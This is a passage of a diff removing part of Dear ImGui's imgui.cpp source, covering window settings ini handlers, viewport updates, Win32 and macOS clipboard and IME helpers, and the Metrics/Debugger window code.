ImGuiSettingsHandler*, const char* name) -{ - ImGuiWindowSettings* settings = ImGui::FindOrCreateWindowSettings(name); - ImGuiID id = settings->ID; - *settings = ImGuiWindowSettings(); // Clear existing if recycling previous entry - settings->ID = id; - settings->WantApply = true; - return (void*)settings; -} - -static void WindowSettingsHandler_ReadLine(ImGuiContext*, ImGuiSettingsHandler*, void* entry, const char* line) -{ - ImGuiWindowSettings* settings = (ImGuiWindowSettings*)entry; - int x, y; - int i; - if (sscanf(line, "Pos=%i,%i", &x, &y) == 2) { settings->Pos = ImVec2ih((short)x, (short)y); } - else if (sscanf(line, "Size=%i,%i", &x, &y) == 2) { settings->Size = ImVec2ih((short)x, (short)y); } - else if (sscanf(line, "Collapsed=%d", &i) == 1) { settings->Collapsed = (i != 0); } -} - -// Apply to existing windows (if any) -static void WindowSettingsHandler_ApplyAll(ImGuiContext* ctx, ImGuiSettingsHandler*) -{ - ImGuiContext& g = *ctx; - for (ImGuiWindowSettings* settings = g.SettingsWindows.begin(); settings != NULL; settings = g.SettingsWindows.next_chunk(settings)) - if (settings->WantApply) - { - if (ImGuiWindow* window = ImGui::FindWindowByID(settings->ID)) - ApplyWindowSettings(window, settings); - settings->WantApply = false; - } -} - -static void WindowSettingsHandler_WriteAll(ImGuiContext* ctx, ImGuiSettingsHandler* handler, ImGuiTextBuffer* buf) -{ - // Gather data from windows that were active during this session - // (if a window wasn't opened in this session we preserve its settings) - ImGuiContext& g = *ctx; - for (int i = 0; i != g.Windows.Size; i++) - { - ImGuiWindow* window = g.Windows[i]; - if (window->Flags & ImGuiWindowFlags_NoSavedSettings) - continue; - - ImGuiWindowSettings* settings = (window->SettingsOffset != -1) ? g.SettingsWindows.ptr_from_offset(window->SettingsOffset) : ImGui::FindWindowSettings(window->ID); - if (!settings) - { - settings = ImGui::CreateNewWindowSettings(window->Name); - window->SettingsOffset = g.SettingsWindows.offset_from_ptr(settings); - } - IM_ASSERT(settings->ID == window->ID); - settings->Pos = ImVec2ih((short)window->Pos.x, (short)window->Pos.y); - settings->Size = ImVec2ih((short)window->SizeFull.x, (short)window->SizeFull.y); - settings->Collapsed = window->Collapsed; - } - - // Write to text buffer - buf->reserve(buf->size() + g.SettingsWindows.size() * 6); // ballpark reserve - for (ImGuiWindowSettings* settings = g.SettingsWindows.begin(); settings != NULL; settings = g.SettingsWindows.next_chunk(settings)) - { - const char* settings_name = settings->GetName(); - buf->appendf("[%s][%s]\n", handler->TypeName, settings_name); - buf->appendf("Pos=%d,%d\n", settings->Pos.x, settings->Pos.y); - buf->appendf("Size=%d,%d\n", settings->Size.x, settings->Size.y); - buf->appendf("Collapsed=%d\n", settings->Collapsed); - buf->append("\n"); - } -} - - -//----------------------------------------------------------------------------- -// [SECTION] VIEWPORTS, PLATFORM WINDOWS -//----------------------------------------------------------------------------- -// - GetMainViewport() -// - UpdateViewportsNewFrame() [Internal] -// (this section is more complete in the 'docking' branch) -//----------------------------------------------------------------------------- - -ImGuiViewport* ImGui::GetMainViewport() -{ - ImGuiContext& g = *GImGui; - return g.Viewports[0]; -} - -// Update viewports and monitor infos -static void ImGui::UpdateViewportsNewFrame() -{ - ImGuiContext& g = *GImGui; - IM_ASSERT(g.Viewports.Size == 1); - - // Update main viewport with current platform position. - // FIXME-VIEWPORT: Size is driven by backend/user code for backward-compatibility but we should aim to make this more consistent. - ImGuiViewportP* main_viewport = g.Viewports[0]; - main_viewport->Flags = ImGuiViewportFlags_IsPlatformWindow | ImGuiViewportFlags_OwnedByApp; - main_viewport->Pos = ImVec2(0.0f, 0.0f); - main_viewport->Size = g.IO.DisplaySize; - - for (int n = 0; n < g.Viewports.Size; n++) - { - ImGuiViewportP* viewport = g.Viewports[n]; - - // Lock down space taken by menu bars and status bars, reset the offset for fucntions like BeginMainMenuBar() to alter them again. - viewport->WorkOffsetMin = viewport->CurrWorkOffsetMin; - viewport->WorkOffsetMax = viewport->CurrWorkOffsetMax; - viewport->CurrWorkOffsetMin = viewport->CurrWorkOffsetMax = ImVec2(0.0f, 0.0f); - viewport->UpdateWorkRect(); - } -} - -//----------------------------------------------------------------------------- -// [SECTION] DOCKING -//----------------------------------------------------------------------------- - -// (this section is filled in the 'docking' branch) - - -//----------------------------------------------------------------------------- -// [SECTION] PLATFORM DEPENDENT HELPERS -//----------------------------------------------------------------------------- - -#if defined(_WIN32) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) && !defined(IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS) - -#ifdef _MSC_VER -#pragma comment(lib, "user32") -#pragma comment(lib, "kernel32") -#endif - -// Win32 clipboard implementation -// We use g.ClipboardHandlerData for temporary storage to ensure it is freed on Shutdown() -static const char* GetClipboardTextFn_DefaultImpl(void*) -{ - ImGuiContext& g = *GImGui; - g.ClipboardHandlerData.clear(); - if (!::OpenClipboard(NULL)) - return NULL; - HANDLE wbuf_handle = ::GetClipboardData(CF_UNICODETEXT); - if (wbuf_handle == NULL) - { - ::CloseClipboard(); - return NULL; - } - if (const WCHAR* wbuf_global = (const WCHAR*)::GlobalLock(wbuf_handle)) - { - int buf_len = ::WideCharToMultiByte(CP_UTF8, 0, wbuf_global, -1, NULL, 0, NULL, NULL); - g.ClipboardHandlerData.resize(buf_len); - ::WideCharToMultiByte(CP_UTF8, 0, wbuf_global, -1, g.ClipboardHandlerData.Data, buf_len, NULL, NULL); - } - ::GlobalUnlock(wbuf_handle); - ::CloseClipboard(); - return g.ClipboardHandlerData.Data; -} - -static void SetClipboardTextFn_DefaultImpl(void*, const char* text) -{ - if (!::OpenClipboard(NULL)) - return; - const int wbuf_length = ::MultiByteToWideChar(CP_UTF8, 0, text, -1, NULL, 0); - HGLOBAL wbuf_handle = ::GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)wbuf_length * sizeof(WCHAR)); - if (wbuf_handle == NULL) - { - ::CloseClipboard(); - return; - } - WCHAR* wbuf_global = (WCHAR*)::GlobalLock(wbuf_handle); - ::MultiByteToWideChar(CP_UTF8, 0, text, -1, wbuf_global, wbuf_length); - ::GlobalUnlock(wbuf_handle); - ::EmptyClipboard(); - if (::SetClipboardData(CF_UNICODETEXT, wbuf_handle) == NULL) - ::GlobalFree(wbuf_handle); - ::CloseClipboard(); -} - -#elif defined(__APPLE__) && TARGET_OS_OSX && defined(IMGUI_ENABLE_OSX_DEFAULT_CLIPBOARD_FUNCTIONS) - -#include // Use old API to avoid need for separate .mm file -static PasteboardRef main_clipboard = 0; - -// OSX clipboard implementation -// If you enable this you will need to add '-framework ApplicationServices' to your linker command-line! -static void SetClipboardTextFn_DefaultImpl(void*, const char* text) -{ - if (!main_clipboard) - PasteboardCreate(kPasteboardClipboard, &main_clipboard); - PasteboardClear(main_clipboard); - CFDataRef cf_data = CFDataCreate(kCFAllocatorDefault, (const UInt8*)text, strlen(text)); - if (cf_data) - { - PasteboardPutItemFlavor(main_clipboard, (PasteboardItemID)1, CFSTR("public.utf8-plain-text"), cf_data, 0); - CFRelease(cf_data); - } -} - -static const char* GetClipboardTextFn_DefaultImpl(void*) -{ - if (!main_clipboard) - PasteboardCreate(kPasteboardClipboard, &main_clipboard); - PasteboardSynchronize(main_clipboard); - - ItemCount item_count = 0; - PasteboardGetItemCount(main_clipboard, &item_count); - for (ItemCount i = 0; i < item_count; i++) - { - PasteboardItemID item_id = 0; - PasteboardGetItemIdentifier(main_clipboard, i + 1, &item_id); - CFArrayRef flavor_type_array = 0; - PasteboardCopyItemFlavors(main_clipboard, item_id, &flavor_type_array); - for (CFIndex j = 0, nj = CFArrayGetCount(flavor_type_array); j < nj; j++) - { - CFDataRef cf_data; - if (PasteboardCopyItemFlavorData(main_clipboard, item_id, CFSTR("public.utf8-plain-text"), &cf_data) == noErr) - { - ImGuiContext& g = *GImGui; - g.ClipboardHandlerData.clear(); - int length = (int)CFDataGetLength(cf_data); - g.ClipboardHandlerData.resize(length + 1); - CFDataGetBytes(cf_data, CFRangeMake(0, length), (UInt8*)g.ClipboardHandlerData.Data); - g.ClipboardHandlerData[length] = 0; - CFRelease(cf_data); - return g.ClipboardHandlerData.Data; - } - } - } - return NULL; -} - -#else - -// Local Dear ImGui-only clipboard implementation, if user hasn't defined better clipboard handlers. -static const char* GetClipboardTextFn_DefaultImpl(void*) -{ - ImGuiContext& g = *GImGui; - return g.ClipboardHandlerData.empty() ? NULL : g.ClipboardHandlerData.begin(); -} - -static void SetClipboardTextFn_DefaultImpl(void*, const char* text) -{ - ImGuiContext& g = *GImGui; - g.ClipboardHandlerData.clear(); - const char* text_end = text + strlen(text); - g.ClipboardHandlerData.resize((int)(text_end - text) + 1); - memcpy(&g.ClipboardHandlerData[0], text, (size_t)(text_end - text)); - g.ClipboardHandlerData[(int)(text_end - text)] = 0; -} - -#endif - -// Win32 API IME support (for Asian languages, etc.) -#if defined(_WIN32) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) && !defined(IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS) - -#include -#ifdef _MSC_VER -#pragma comment(lib, "imm32") -#endif - -static void ImeSetInputScreenPosFn_DefaultImpl(int x, int y) -{ - // Notify OS Input Method Editor of text input position - ImGuiIO& io = ImGui::GetIO(); - if (HWND hwnd = (HWND)io.ImeWindowHandle) - if (HIMC himc = ::ImmGetContext(hwnd)) - { - COMPOSITIONFORM cf; - cf.ptCurrentPos.x = x; - cf.ptCurrentPos.y = y; - cf.dwStyle = CFS_FORCE_POSITION; - ::ImmSetCompositionWindow(himc, &cf); - ::ImmReleaseContext(hwnd, himc); - } -} - -#else - -static void ImeSetInputScreenPosFn_DefaultImpl(int, int) {} - -#endif - -//----------------------------------------------------------------------------- -// [SECTION] METRICS/DEBUGGER WINDOW -//----------------------------------------------------------------------------- -// - RenderViewportThumbnail() [Internal] -// - RenderViewportsThumbnails() [Internal] -// - MetricsHelpMarker() [Internal] -// - ShowMetricsWindow() -// - DebugNodeColumns() [Internal] -// - DebugNodeDrawList() [Internal] -// - DebugNodeDrawCmdShowMeshAndBoundingBox() [Internal] -// - DebugNodeStorage() [Internal] -// - DebugNodeTabBar() [Internal] -// - DebugNodeViewport() [Internal] -// - DebugNodeWindow() [Internal] -// - DebugNodeWindowSettings() [Internal] -// - DebugNodeWindowsList() [Internal] -//----------------------------------------------------------------------------- - -#ifndef IMGUI_DISABLE_METRICS_WINDOW - -void ImGui::DebugRenderViewportThumbnail(ImDrawList* draw_list, ImGuiViewportP* viewport, const ImRect& bb) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - ImVec2 scale = bb.GetSize() / viewport->Size; - ImVec2 off = bb.Min - viewport->Pos * scale; - float alpha_mul = 1.0f; - window->DrawList->AddRectFilled(bb.Min, bb.Max, GetColorU32(ImGuiCol_Border, alpha_mul * 0.40f)); - for (int i = 0; i != g.Windows.Size; i++) - { - ImGuiWindow* thumb_window = g.Windows[i]; - if (!thumb_window->WasActive || (thumb_window->Flags & ImGuiWindowFlags_ChildWindow)) - continue; - - ImRect thumb_r = thumb_window->Rect(); - ImRect title_r = thumb_window->TitleBarRect(); - thumb_r = ImRect(ImFloor(off + thumb_r.Min * scale), ImFloor(off + thumb_r.Max * scale)); - title_r = ImRect(ImFloor(off + title_r.Min * scale), ImFloor(off + ImVec2(title_r.Max.x, title_r.Min.y) * scale) + ImVec2(0,5)); // Exaggerate title bar height - thumb_r.ClipWithFull(bb); - title_r.ClipWithFull(bb); - const bool window_is_focused = (g.NavWindow && thumb_window->RootWindowForTitleBarHighlight == g.NavWindow->RootWindowForTitleBarHighlight); - window->DrawList->AddRectFilled(thumb_r.Min, thumb_r.Max, GetColorU32(ImGuiCol_WindowBg, alpha_mul)); - window->DrawList->AddRectFilled(title_r.Min, title_r.Max, GetColorU32(window_is_focused ? ImGuiCol_TitleBgActive : ImGuiCol_TitleBg, alpha_mul)); - window->DrawList->AddRect(thumb_r.Min, thumb_r.Max, GetColorU32(ImGuiCol_Border, alpha_mul)); - window->DrawList->AddText(g.Font, g.FontSize * 1.0f, title_r.Min, GetColorU32(ImGuiCol_Text, alpha_mul), thumb_window->Name, FindRenderedTextEnd(thumb_window->Name)); - } - draw_list->AddRect(bb.Min, bb.Max, GetColorU32(ImGuiCol_Border, alpha_mul)); -} - -static void RenderViewportsThumbnails() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - - // We don't display full monitor bounds (we could, but it often looks awkward), instead we display just enough to cover all of our viewports. - float SCALE = 1.0f / 8.0f; - ImRect bb_full(FLT_MAX, FLT_MAX, -FLT_MAX, -FLT_MAX); - for (int n = 0; n < g.Viewports.Size; n++) - bb_full.Add(g.Viewports[n]->GetMainRect()); - ImVec2 p = window->DC.CursorPos; - ImVec2 off = p - bb_full.Min * SCALE; - for (int n = 0; n < g.Viewports.Size; n++) - { - ImGuiViewportP* viewport = g.Viewports[n]; - ImRect viewport_draw_bb(off + (viewport->Pos) * SCALE, off + (viewport->Pos + viewport->Size) * SCALE); - ImGui::DebugRenderViewportThumbnail(window->DrawList, viewport, viewport_draw_bb); - } - ImGui::Dummy(bb_full.GetSize() * SCALE); -} - -// Avoid naming collision with imgui_demo.cpp's HelpMarker() for unity builds. -static void MetricsHelpMarker(const char* desc) -{ - ImGui::TextDisabled("(?)"); - if (ImGui::IsItemHovered()) - { - ImGui::BeginTooltip(); - ImGui::PushTextWrapPos(ImGui::GetFontSize() * 35.0f); - ImGui::TextUnformatted(desc); - ImGui::PopTextWrapPos(); - ImGui::EndTooltip(); - } -} - -void ImGui::ShowMetricsWindow(bool* p_open) -{ - if (!Begin("Dear ImGui Metrics/Debugger", p_open)) - { - End(); - return; - } - - ImGuiContext& g = *GImGui; - ImGuiIO& io = g.IO; - ImGuiMetricsConfig* cfg = &g.DebugMetricsConfig; - - // Basic info - Text("Dear ImGui %s", GetVersion()); - Text("Application average %.3f ms/frame (%.1f FPS)", 1000.0f / io.Framerate, io.Framerate); - Text("%d vertices, %d indices (%d triangles)", io.MetricsRenderVertices, io.MetricsRenderIndices, io.MetricsRenderIndices / 3); - Text("%d active windows (%d visible)", io.MetricsActiveWindows, io.MetricsRenderWindows); - Text("%d active allocations", io.MetricsActiveAllocations); - //SameLine(); if (SmallButton("GC")) { g.GcCompactAll = true; } - - Separator(); - - // Debugging enums - enum { WRT_OuterRect, WRT_OuterRectClipped, WRT_InnerRect, WRT_InnerClipRect, WRT_WorkRect, WRT_Content, WRT_ContentIdeal, WRT_ContentRegionRect, WRT_Count }; // Windows Rect Type - const char* wrt_rects_names[WRT_Count] = { "OuterRect", "OuterRectClipped", "InnerRect", "InnerClipRect", "WorkRect", "Content", "ContentIdeal", "ContentRegionRect" }; - enum { TRT_OuterRect, TRT_InnerRect, TRT_WorkRect, TRT_HostClipRect, TRT_InnerClipRect, TRT_BackgroundClipRect, TRT_ColumnsRect, TRT_ColumnsWorkRect, TRT_ColumnsClipRect, TRT_ColumnsContentHeadersUsed, TRT_ColumnsContentHeadersIdeal, TRT_ColumnsContentFrozen, TRT_ColumnsContentUnfrozen, TRT_Count }; // Tables Rect Type - const char* trt_rects_names[TRT_Count] = { "OuterRect", "InnerRect", "WorkRect", "HostClipRect", "InnerClipRect", "BackgroundClipRect", "ColumnsRect", "ColumnsWorkRect", "ColumnsClipRect", "ColumnsContentHeadersUsed", "ColumnsContentHeadersIdeal", "ColumnsContentFrozen", "ColumnsContentUnfrozen" }; - if (cfg->ShowWindowsRectsType < 0) - cfg->ShowWindowsRectsType = WRT_WorkRect; - if (cfg->ShowTablesRectsType < 0) - cfg->ShowTablesRectsType = TRT_WorkRect; - - struct Funcs - { - static ImRect GetTableRect(ImGuiTable* table, int rect_type, int n) - { - if (rect_type == TRT_OuterRect) { return table->OuterRect; } - else if (rect_type == TRT_InnerRect) { return table->InnerRect; } - else if (rect_type == TRT_WorkRect) { return table->WorkRect; } - else if (rect_type == TRT_HostClipRect) { return table->HostClipRect; } - else if (rect_type == TRT_InnerClipRect) { return table->InnerClipRect; } - else if (rect_type == TRT_BackgroundClipRect) { return table->BgClipRect; } - else if (rect_type == TRT_ColumnsRect) { ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->MinX, table->InnerClipRect.Min.y, c->MaxX, table->InnerClipRect.Min.y + table->LastOuterHeight); } - else if (rect_type == TRT_ColumnsWorkRect) { ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->WorkMinX, table->WorkRect.Min.y, c->WorkMaxX, table->WorkRect.Max.y); } - else if (rect_type == TRT_ColumnsClipRect) { ImGuiTableColumn* c = &table->Columns[n]; return c->ClipRect; } - else if (rect_type == TRT_ColumnsContentHeadersUsed){ ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->WorkMinX, table->InnerClipRect.Min.y, c->ContentMaxXHeadersUsed, table->InnerClipRect.Min.y + table->LastFirstRowHeight); } // Note: y1/y2 not always accurate - else if (rect_type == TRT_ColumnsContentHeadersIdeal){ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->WorkMinX, table->InnerClipRect.Min.y, c->ContentMaxXHeadersIdeal, table->InnerClipRect.Min.y + table->LastFirstRowHeight); } - else if (rect_type == TRT_ColumnsContentFrozen) { ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->WorkMinX, table->InnerClipRect.Min.y, c->ContentMaxXFrozen, table->InnerClipRect.Min.y + table->LastFirstRowHeight); } - else if (rect_type == TRT_ColumnsContentUnfrozen) { ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->WorkMinX, table->InnerClipRect.Min.y + table->LastFirstRowHeight, c->ContentMaxXUnfrozen, table->InnerClipRect.Max.y); } - IM_ASSERT(0); - return ImRect(); - } - - static ImRect GetWindowRect(ImGuiWindow* window, int rect_type) - { - if (rect_type == WRT_OuterRect) { return window->Rect(); } - else if (rect_type == WRT_OuterRectClipped) { return window->OuterRectClipped; } - else if (rect_type == WRT_InnerRect) { return window->InnerRect; } - else if (rect_type == WRT_InnerClipRect) { return window->InnerClipRect; } - else if (rect_type == WRT_WorkRect) { return window->WorkRect; } - else if (rect_type == WRT_Content) { ImVec2 min = window->InnerRect.Min - window->Scroll + window->WindowPadding; return ImRect(min, min + window->ContentSize); } - else if (rect_type == WRT_ContentIdeal) { ImVec2 min = window->InnerRect.Min - window->Scroll + window->WindowPadding; return ImRect(min, min + window->ContentSizeIdeal); } - else if (rect_type == WRT_ContentRegionRect) { return window->ContentRegionRect; } - IM_ASSERT(0); - return ImRect(); - } - }; - - // Tools - if (TreeNode("Tools")) - { - // The Item Picker tool is super useful to visually select an item and break into the call-stack of where it was submitted. - if (Button("Item Picker..")) - DebugStartItemPicker(); - SameLine(); - MetricsHelpMarker("Will call the IM_DEBUG_BREAK() macro to break in debugger.\nWarning: If you don't have a debugger attached, this will probably crash."); - - Checkbox("Show windows begin order", &cfg->ShowWindowsBeginOrder); - Checkbox("Show windows rectangles", &cfg->ShowWindowsRects); - SameLine(); - SetNextItemWidth(GetFontSize() * 12); - cfg->ShowWindowsRects |= Combo("##show_windows_rect_type", &cfg->ShowWindowsRectsType, wrt_rects_names, WRT_Count, WRT_Count); - if (cfg->ShowWindowsRects && g.NavWindow != NULL) - { - BulletText("'%s':", g.NavWindow->Name); - Indent(); - for (int rect_n = 0; rect_n < WRT_Count; rect_n++) - { - ImRect r = Funcs::GetWindowRect(g.NavWindow, rect_n); - Text("(%6.1f,%6.1f) (%6.1f,%6.1f) Size (%6.1f,%6.1f) %s", r.Min.x, r.Min.y, r.Max.x, r.Max.y, r.GetWidth(), r.GetHeight(), wrt_rects_names[rect_n]); - } - Unindent(); - } - Checkbox("Show ImDrawCmd mesh when hovering", &cfg->ShowDrawCmdMesh); - Checkbox("Show ImDrawCmd bounding boxes when hovering", &cfg->ShowDrawCmdBoundingBoxes); - - Checkbox("Show tables rectangles", &cfg->ShowTablesRects); - SameLine(); - SetNextItemWidth(GetFontSize() * 12); - cfg->ShowTablesRects |= Combo("##show_table_rects_type", &cfg->ShowTablesRectsType, trt_rects_names, TRT_Count, TRT_Count); - if (cfg->ShowTablesRects && g.NavWindow != NULL) - { - for (int table_n = 0; table_n < g.Tables.GetSize(); table_n++) - { - ImGuiTable* table = g.Tables.GetByIndex(table_n); - if (table->LastFrameActive < g.FrameCount - 1 || (table->OuterWindow != g.NavWindow && table->InnerWindow != g.NavWindow)) - continue; - - BulletText("Table 0x%08X (%d columns, in '%s')", table->ID, table->ColumnsCount, table->OuterWindow->Name); - if (IsItemHovered()) - GetForegroundDrawList()->AddRect(table->OuterRect.Min - ImVec2(1, 1), table->OuterRect.Max + ImVec2(1, 1), IM_COL32(255, 255, 0, 255), 0.0f, ~0, 2.0f); - Indent(); - char buf[128]; - for (int rect_n = 0; rect_n < TRT_Count; rect_n++) - { - if (rect_n >= TRT_ColumnsRect) - { - if (rect_n != TRT_ColumnsRect && rect_n != TRT_ColumnsClipRect) - continue; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImRect r = Funcs::GetTableRect(table, rect_n, column_n); - ImFormatString(buf, IM_ARRAYSIZE(buf), "(%6.1f,%6.1f) (%6.1f,%6.1f) Size (%6.1f,%6.1f) Col %d %s", r.Min.x, r.Min.y, r.Max.x, r.Max.y, r.GetWidth(), r.GetHeight(), column_n, trt_rects_names[rect_n]); - Selectable(buf); - if (IsItemHovered()) - GetForegroundDrawList()->AddRect(r.Min - ImVec2(1, 1), r.Max + ImVec2(1, 1), IM_COL32(255, 255, 0, 255), 0.0f, ~0, 2.0f); - } - } - else - { - ImRect r = Funcs::GetTableRect(table, rect_n, -1); - ImFormatString(buf, IM_ARRAYSIZE(buf), "(%6.1f,%6.1f) (%6.1f,%6.1f) Size (%6.1f,%6.1f) %s", r.Min.x, r.Min.y, r.Max.x, r.Max.y, r.GetWidth(), r.GetHeight(), trt_rects_names[rect_n]); - Selectable(buf); - if (IsItemHovered()) - GetForegroundDrawList()->AddRect(r.Min - ImVec2(1, 1), r.Max + ImVec2(1, 1), IM_COL32(255, 255, 0, 255), 0.0f, ~0, 2.0f); - } - } - Unindent(); - } - } - - TreePop(); - } - - // Windows - DebugNodeWindowsList(&g.Windows, "Windows"); - //DebugNodeWindowsList(&g.WindowsFocusOrder, "WindowsFocusOrder"); - - // DrawLists - int drawlist_count = 0; - for (int viewport_i = 0; viewport_i < g.Viewports.Size; viewport_i++) - drawlist_count += g.Viewports[viewport_i]->DrawDataBuilder.GetDrawListCount(); - if (TreeNode("DrawLists", "DrawLists (%d)", drawlist_count)) - { - for (int viewport_i = 0; viewport_i < g.Viewports.Size; viewport_i++) - { - ImGuiViewportP* viewport = g.Viewports[viewport_i]; - for (int layer_i = 0; layer_i < IM_ARRAYSIZE(viewport->DrawDataBuilder.Layers); layer_i++) - for (int draw_list_i = 0; draw_list_i < viewport->DrawDataBuilder.Layers[layer_i].Size; draw_list_i++) - DebugNodeDrawList(NULL, viewport->DrawDataBuilder.Layers[layer_i][draw_list_i], "DrawList"); - } - TreePop(); - } - - // Viewports - if (TreeNode("Viewports", "Viewports (%d)", g.Viewports.Size)) - { - Indent(GetTreeNodeToLabelSpacing()); - RenderViewportsThumbnails(); - Unindent(GetTreeNodeToLabelSpacing()); - for (int i = 0; i < g.Viewports.Size; i++) - DebugNodeViewport(g.Viewports[i]); - TreePop(); - } - - // Details for Popups - if (TreeNode("Popups", "Popups (%d)", g.OpenPopupStack.Size)) - { - for (int i = 0; i < g.OpenPopupStack.Size; i++) - { - ImGuiWindow* window = g.OpenPopupStack[i].Window; - BulletText("PopupID: %08x, Window: '%s'%s%s", g.OpenPopupStack[i].PopupId, window ? window->Name : "NULL", window && (window->Flags & ImGuiWindowFlags_ChildWindow) ? " ChildWindow" : "", window && (window->Flags & ImGuiWindowFlags_ChildMenu) ? " ChildMenu" : ""); - } - TreePop(); - } - - // Details for TabBars - if (TreeNode("TabBars", "Tab Bars (%d)", g.TabBars.GetSize())) - { - for (int n = 0; n < g.TabBars.GetSize(); n++) - DebugNodeTabBar(g.TabBars.GetByIndex(n), "TabBar"); - TreePop(); - } - - // Details for Tables -#ifdef IMGUI_HAS_TABLE - if (TreeNode("Tables", "Tables (%d)", g.Tables.GetSize())) - { - for (int n = 0; n < g.Tables.GetSize(); n++) - DebugNodeTable(g.Tables.GetByIndex(n)); - TreePop(); - } -#endif // #ifdef IMGUI_HAS_TABLE - - // Details for Docking -#ifdef IMGUI_HAS_DOCK - if (TreeNode("Docking")) - { - TreePop(); - } -#endif // #ifdef IMGUI_HAS_DOCK - - // Settings - if (TreeNode("Settings")) - { - if (SmallButton("Clear")) - ClearIniSettings(); - SameLine(); - if (SmallButton("Save to memory")) - SaveIniSettingsToMemory(); - SameLine(); - if (SmallButton("Save to disk")) - SaveIniSettingsToDisk(g.IO.IniFilename); - SameLine(); - if (g.IO.IniFilename) - Text("\"%s\"", g.IO.IniFilename); - else - TextUnformatted(""); - Text("SettingsDirtyTimer %.2f", g.SettingsDirtyTimer); - if (TreeNode("SettingsHandlers", "Settings handlers: (%d)", g.SettingsHandlers.Size)) - { - for (int n = 0; n < g.SettingsHandlers.Size; n++) - BulletText("%s", g.SettingsHandlers[n].TypeName); - TreePop(); - } - if (TreeNode("SettingsWindows", "Settings packed data: Windows: %d bytes", g.SettingsWindows.size())) - { - for (ImGuiWindowSettings* settings = g.SettingsWindows.begin(); settings != NULL; settings = g.SettingsWindows.next_chunk(settings)) - DebugNodeWindowSettings(settings); - TreePop(); - } - -#ifdef IMGUI_HAS_TABLE - if (TreeNode("SettingsTables", "Settings packed data: Tables: %d bytes", g.SettingsTables.size())) - { - for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) - DebugNodeTableSettings(settings); - TreePop(); - } -#endif // #ifdef IMGUI_HAS_TABLE - -#ifdef IMGUI_HAS_DOCK -#endif // #ifdef IMGUI_HAS_DOCK - - if (TreeNode("SettingsIniData", "Settings unpacked data (.ini): %d bytes", g.SettingsIniData.size())) - { - InputTextMultiline("##Ini", (char*)(void*)g.SettingsIniData.c_str(), g.SettingsIniData.Buf.Size, ImVec2(-FLT_MIN, GetTextLineHeight() * 20), ImGuiInputTextFlags_ReadOnly); - TreePop(); - } - TreePop(); - } - - // Misc Details - if (TreeNode("Internal state")) - { - const char* input_source_names[] = { "None", "Mouse", "Nav", "NavKeyboard", "NavGamepad" }; IM_ASSERT(IM_ARRAYSIZE(input_source_names) == ImGuiInputSource_COUNT); - - Text("WINDOWING"); - Indent(); - Text("HoveredWindow: '%s'", g.HoveredWindow ? g.HoveredWindow->Name : "NULL"); - Text("HoveredWindow->Root: '%s'", g.HoveredWindow ? g.HoveredWindow->RootWindow->Name : "NULL"); - Text("HoveredWindowUnderMovingWindow: '%s'", g.HoveredWindowUnderMovingWindow ? g.HoveredWindowUnderMovingWindow->Name : "NULL"); - Text("MovingWindow: '%s'", g.MovingWindow ? g.MovingWindow->Name : "NULL"); - Unindent(); - - Text("ITEMS"); - Indent(); - Text("ActiveId: 0x%08X/0x%08X (%.2f sec), AllowOverlap: %d, Source: %s", g.ActiveId, g.ActiveIdPreviousFrame, g.ActiveIdTimer, g.ActiveIdAllowOverlap, input_source_names[g.ActiveIdSource]); - Text("ActiveIdWindow: '%s'", g.ActiveIdWindow ? g.ActiveIdWindow->Name : "NULL"); - Text("HoveredId: 0x%08X/0x%08X (%.2f sec), AllowOverlap: %d", g.HoveredId, g.HoveredIdPreviousFrame, g.HoveredIdTimer, g.HoveredIdAllowOverlap); // Data is "in-flight" so depending on when the Metrics window is called we may see current frame information or not - Text("DragDrop: %d, SourceId = 0x%08X, Payload \"%s\" (%d bytes)", g.DragDropActive, g.DragDropPayload.SourceId, g.DragDropPayload.DataType, g.DragDropPayload.DataSize); - Unindent(); - - Text("NAV,FOCUS"); - Indent(); - Text("NavWindow: '%s'", g.NavWindow ? g.NavWindow->Name : "NULL"); - Text("NavId: 0x%08X, NavLayer: %d", g.NavId, g.NavLayer); - Text("NavInputSource: %s", input_source_names[g.NavInputSource]); - Text("NavActive: %d, NavVisible: %d", g.IO.NavActive, g.IO.NavVisible); - Text("NavActivateId: 0x%08X, NavInputId: 0x%08X", g.NavActivateId, g.NavInputId); - Text("NavDisableHighlight: %d, NavDisableMouseHover: %d", g.NavDisableHighlight, g.NavDisableMouseHover); - Text("NavFocusScopeId = 0x%08X", g.NavFocusScopeId); - Text("NavWindowingTarget: '%s'", g.NavWindowingTarget ? g.NavWindowingTarget->Name : "NULL"); - Unindent(); - - TreePop(); - } - - // Overlay: Display windows Rectangles and Begin Order - if (cfg->ShowWindowsRects || cfg->ShowWindowsBeginOrder) - { - for (int n = 0; n < g.Windows.Size; n++) - { - ImGuiWindow* window = g.Windows[n]; - if (!window->WasActive) - continue; - ImDrawList* draw_list = GetForegroundDrawList(window); - if (cfg->ShowWindowsRects) - { - ImRect r = Funcs::GetWindowRect(window, cfg->ShowWindowsRectsType); - draw_list->AddRect(r.Min, r.Max, IM_COL32(255, 0, 128, 255)); - } - if (cfg->ShowWindowsBeginOrder && !(window->Flags & ImGuiWindowFlags_ChildWindow)) - { - char buf[32]; - ImFormatString(buf, IM_ARRAYSIZE(buf), "%d", window->BeginOrderWithinContext); - float font_size = GetFontSize(); - draw_list->AddRectFilled(window->Pos, window->Pos + ImVec2(font_size, font_size), IM_COL32(200, 100, 100, 255)); - draw_list->AddText(window->Pos, IM_COL32(255, 255, 255, 255), buf); - } - } - } - -#ifdef IMGUI_HAS_TABLE - // Overlay: Display Tables Rectangles - if (cfg->ShowTablesRects) - { - for (int table_n = 0; table_n < g.Tables.GetSize(); table_n++) - { - ImGuiTable* table = g.Tables.GetByIndex(table_n); - if (table->LastFrameActive 